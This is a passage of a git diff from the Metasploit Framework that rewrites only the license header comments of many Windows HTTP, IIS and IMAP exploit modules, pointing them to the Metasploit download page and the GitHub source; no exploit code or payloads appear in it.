restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/http/navicopa_get_overflow.rb b/modules/exploits/windows/http/navicopa_get_overflow.rb index 9d750e89a6..d3b156d697 100644 --- a/modules/exploits/windows/http/navicopa_get_overflow.rb +++ b/modules/exploits/windows/http/navicopa_get_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/netdecision_http_bof.rb b/modules/exploits/windows/http/netdecision_http_bof.rb index 9db8e08d43..47ff3807a1 100644 --- a/modules/exploits/windows/http/netdecision_http_bof.rb +++ b/modules/exploits/windows/http/netdecision_http_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/http/novell_imanager_upload.rb b/modules/exploits/windows/http/novell_imanager_upload.rb index b5f297e03d..e4c901db33 100644 --- a/modules/exploits/windows/http/novell_imanager_upload.rb +++ b/modules/exploits/windows/http/novell_imanager_upload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/novell_mdm_lfi.rb b/modules/exploits/windows/http/novell_mdm_lfi.rb index 0c0f46ef3f..935e6ec5bf 100644 --- a/modules/exploits/windows/http/novell_mdm_lfi.rb +++ b/modules/exploits/windows/http/novell_mdm_lfi.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/novell_messenger_acceptlang.rb b/modules/exploits/windows/http/novell_messenger_acceptlang.rb index dbca1d4372..67c1dbafd7 100644 --- a/modules/exploits/windows/http/novell_messenger_acceptlang.rb +++ b/modules/exploits/windows/http/novell_messenger_acceptlang.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/nowsms.rb b/modules/exploits/windows/http/nowsms.rb index 254b11ad86..b2b56e1ac9 100644 --- a/modules/exploits/windows/http/nowsms.rb +++ b/modules/exploits/windows/http/nowsms.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/oracle9i_xdb_pass.rb b/modules/exploits/windows/http/oracle9i_xdb_pass.rb index 8588ee4690..63e31b8db2 100644 --- a/modules/exploits/windows/http/oracle9i_xdb_pass.rb +++ b/modules/exploits/windows/http/oracle9i_xdb_pass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/oracle_btm_writetofile.rb b/modules/exploits/windows/http/oracle_btm_writetofile.rb index 516da66555..d377a1d4f1 100644 --- a/modules/exploits/windows/http/oracle_btm_writetofile.rb +++ b/modules/exploits/windows/http/oracle_btm_writetofile.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb index ed66e8350f..4f3a6c5c89 100644 --- a/modules/exploits/windows/http/oracle_endeca_exec.rb +++ b/modules/exploits/windows/http/oracle_endeca_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/osb_uname_jlist.rb b/modules/exploits/windows/http/osb_uname_jlist.rb index c8d49fd0d0..7cf961f793 100644 --- a/modules/exploits/windows/http/osb_uname_jlist.rb +++ b/modules/exploits/windows/http/osb_uname_jlist.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/peercast_url.rb b/modules/exploits/windows/http/peercast_url.rb index 852d54171c..9757202732 100644 --- a/modules/exploits/windows/http/peercast_url.rb +++ b/modules/exploits/windows/http/peercast_url.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/php_apache_request_headers_bof.rb b/modules/exploits/windows/http/php_apache_request_headers_bof.rb index 448a242a81..a78490647e 100644 --- a/modules/exploits/windows/http/php_apache_request_headers_bof.rb +++ b/modules/exploits/windows/http/php_apache_request_headers_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/privatewire_gateway.rb b/modules/exploits/windows/http/privatewire_gateway.rb index 1a8e096efc..ac96e36b2e 100644 --- a/modules/exploits/windows/http/privatewire_gateway.rb +++ b/modules/exploits/windows/http/privatewire_gateway.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # This file may only be distributed as part of the Metasploit Framework. diff --git a/modules/exploits/windows/http/psoproxy91_overflow.rb b/modules/exploits/windows/http/psoproxy91_overflow.rb index 7340b8d572..9d7fd62509 100644 --- a/modules/exploits/windows/http/psoproxy91_overflow.rb +++ b/modules/exploits/windows/http/psoproxy91_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/rabidhamster_r4_log.rb b/modules/exploits/windows/http/rabidhamster_r4_log.rb index 7a0750bbc9..eceff85414 100644 --- a/modules/exploits/windows/http/rabidhamster_r4_log.rb +++ b/modules/exploits/windows/http/rabidhamster_r4_log.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/http/sambar6_search_results.rb b/modules/exploits/windows/http/sambar6_search_results.rb index 3c93494338..bd4cf1a1f4 100644 --- a/modules/exploits/windows/http/sambar6_search_results.rb +++ b/modules/exploits/windows/http/sambar6_search_results.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb index e3ec63a49c..52cf6c8a60 100644 --- a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb +++ b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb index c0221f89cf..1138412869 100644 --- a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb +++ b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb b/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb index ce2b0c3862..3e9604725f 100644 --- a/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/sapdb_webtools.rb b/modules/exploits/windows/http/sapdb_webtools.rb index e70b0b381f..2409bc6d89 100644 --- a/modules/exploits/windows/http/sapdb_webtools.rb +++ b/modules/exploits/windows/http/sapdb_webtools.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/savant_31_overflow.rb b/modules/exploits/windows/http/savant_31_overflow.rb index 71a84601d1..37efed7261 100644 --- a/modules/exploits/windows/http/savant_31_overflow.rb +++ b/modules/exploits/windows/http/savant_31_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/servu_session_cookie.rb b/modules/exploits/windows/http/servu_session_cookie.rb index dd7fe02188..3093d9cb03 100644 --- a/modules/exploits/windows/http/servu_session_cookie.rb +++ b/modules/exploits/windows/http/servu_session_cookie.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/shoutcast_format.rb b/modules/exploits/windows/http/shoutcast_format.rb index 6e5e2c8cad..02145d4867 100644 --- a/modules/exploits/windows/http/shoutcast_format.rb +++ b/modules/exploits/windows/http/shoutcast_format.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/shttpd_post.rb b/modules/exploits/windows/http/shttpd_post.rb index 66efb5f96f..48774a6034 100644 --- a/modules/exploits/windows/http/shttpd_post.rb +++ b/modules/exploits/windows/http/shttpd_post.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb index 7a77c05745..f5ffc81a28 100644 --- a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb +++ b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index 85432eb691..16718eb7f3 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/http/steamcast_useragent.rb b/modules/exploits/windows/http/steamcast_useragent.rb index fc8ba23a2c..6504820ad3 100644 --- a/modules/exploits/windows/http/steamcast_useragent.rb +++ b/modules/exploits/windows/http/steamcast_useragent.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/sws_connection_bof.rb b/modules/exploits/windows/http/sws_connection_bof.rb index 9720ba4ff7..7e7773d954 100644 --- a/modules/exploits/windows/http/sws_connection_bof.rb +++ b/modules/exploits/windows/http/sws_connection_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/sybase_easerver.rb b/modules/exploits/windows/http/sybase_easerver.rb index 780e39b68d..730b89f9a9 100644 --- a/modules/exploits/windows/http/sybase_easerver.rb +++ b/modules/exploits/windows/http/sybase_easerver.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/sysax_create_folder.rb b/modules/exploits/windows/http/sysax_create_folder.rb index ee935c7a34..e4f976d44b 100644 --- a/modules/exploits/windows/http/sysax_create_folder.rb +++ b/modules/exploits/windows/http/sysax_create_folder.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/trackercam_phparg_overflow.rb b/modules/exploits/windows/http/trackercam_phparg_overflow.rb index ab5935dfae..bb598c488d 100644 --- a/modules/exploits/windows/http/trackercam_phparg_overflow.rb +++ b/modules/exploits/windows/http/trackercam_phparg_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/trendmicro_officescan.rb b/modules/exploits/windows/http/trendmicro_officescan.rb index b699cdbb44..959eb1e26e 100644 --- a/modules/exploits/windows/http/trendmicro_officescan.rb +++ b/modules/exploits/windows/http/trendmicro_officescan.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index 81b71e260f..212af889c7 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/http/umbraco_upload_aspx.rb b/modules/exploits/windows/http/umbraco_upload_aspx.rb index 13580e8c40..4ef7feb928 100644 --- a/modules/exploits/windows/http/umbraco_upload_aspx.rb +++ b/modules/exploits/windows/http/umbraco_upload_aspx.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb index 93fe51bef4..89c3642303 100644 --- a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb +++ b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/webster_http.rb b/modules/exploits/windows/http/webster_http.rb index 427512c491..0a2548e4f7 100644 --- a/modules/exploits/windows/http/webster_http.rb +++ b/modules/exploits/windows/http/webster_http.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/xampp_webdav_upload_php.rb b/modules/exploits/windows/http/xampp_webdav_upload_php.rb index d14e7f64cd..493ab777cd 100644 --- a/modules/exploits/windows/http/xampp_webdav_upload_php.rb +++ b/modules/exploits/windows/http/xampp_webdav_upload_php.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/xitami_if_mod_since.rb b/modules/exploits/windows/http/xitami_if_mod_since.rb index 71999eafa8..0af979dddc 100644 --- a/modules/exploits/windows/http/xitami_if_mod_since.rb +++ b/modules/exploits/windows/http/xitami_if_mod_since.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb index 195fb21f21..f0f68919cd 100644 --- a/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb +++ b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/zenworks_uploadservlet.rb b/modules/exploits/windows/http/zenworks_uploadservlet.rb index d84068da64..5cd0a119e2 100644 --- a/modules/exploits/windows/http/zenworks_uploadservlet.rb +++ b/modules/exploits/windows/http/zenworks_uploadservlet.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb index 8b81d59d1a..6c116b8088 100644 --- a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb +++ b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/iis/ms01_023_printer.rb b/modules/exploits/windows/iis/ms01_023_printer.rb index 5bbd297fb6..d75850ad4e 100644 --- a/modules/exploits/windows/iis/ms01_023_printer.rb +++ b/modules/exploits/windows/iis/ms01_023_printer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/iis/ms01_026_dbldecode.rb b/modules/exploits/windows/iis/ms01_026_dbldecode.rb index be1127ad68..bac4dd82e5 100644 --- a/modules/exploits/windows/iis/ms01_026_dbldecode.rb +++ b/modules/exploits/windows/iis/ms01_026_dbldecode.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/iis/ms01_033_idq.rb b/modules/exploits/windows/iis/ms01_033_idq.rb index 73eef911fb..0bbb743fb6 100644 --- a/modules/exploits/windows/iis/ms01_033_idq.rb +++ b/modules/exploits/windows/iis/ms01_033_idq.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/iis/ms02_018_htr.rb b/modules/exploits/windows/iis/ms02_018_htr.rb index 5222975390..ebf1d26274 100644 --- a/modules/exploits/windows/iis/ms02_018_htr.rb +++ b/modules/exploits/windows/iis/ms02_018_htr.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb index 9d543bb5cc..1a45aaadf2 100644 --- a/modules/exploits/windows/iis/ms02_065_msadc.rb +++ b/modules/exploits/windows/iis/ms02_065_msadc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb index 9f3f92e40a..b2c1f59491 100644 --- a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb +++ b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 250d0fcb66..9c6c71482d 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/eudora_list.rb b/modules/exploits/windows/imap/eudora_list.rb index e2d59de02b..6a2017102d 100644 --- a/modules/exploits/windows/imap/eudora_list.rb +++ b/modules/exploits/windows/imap/eudora_list.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/imap/imail_delete.rb b/modules/exploits/windows/imap/imail_delete.rb index 02b96101dd..d1e4930b74 100644 --- a/modules/exploits/windows/imap/imail_delete.rb +++ b/modules/exploits/windows/imap/imail_delete.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/ipswitch_search.rb b/modules/exploits/windows/imap/ipswitch_search.rb index a53b94db20..b39c0d4e98 100644 --- a/modules/exploits/windows/imap/ipswitch_search.rb +++ b/modules/exploits/windows/imap/ipswitch_search.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/mailenable_login.rb b/modules/exploits/windows/imap/mailenable_login.rb index efb9e9f4f6..09a0376a5e 100644 --- a/modules/exploits/windows/imap/mailenable_login.rb +++ b/modules/exploits/windows/imap/mailenable_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/mailenable_status.rb 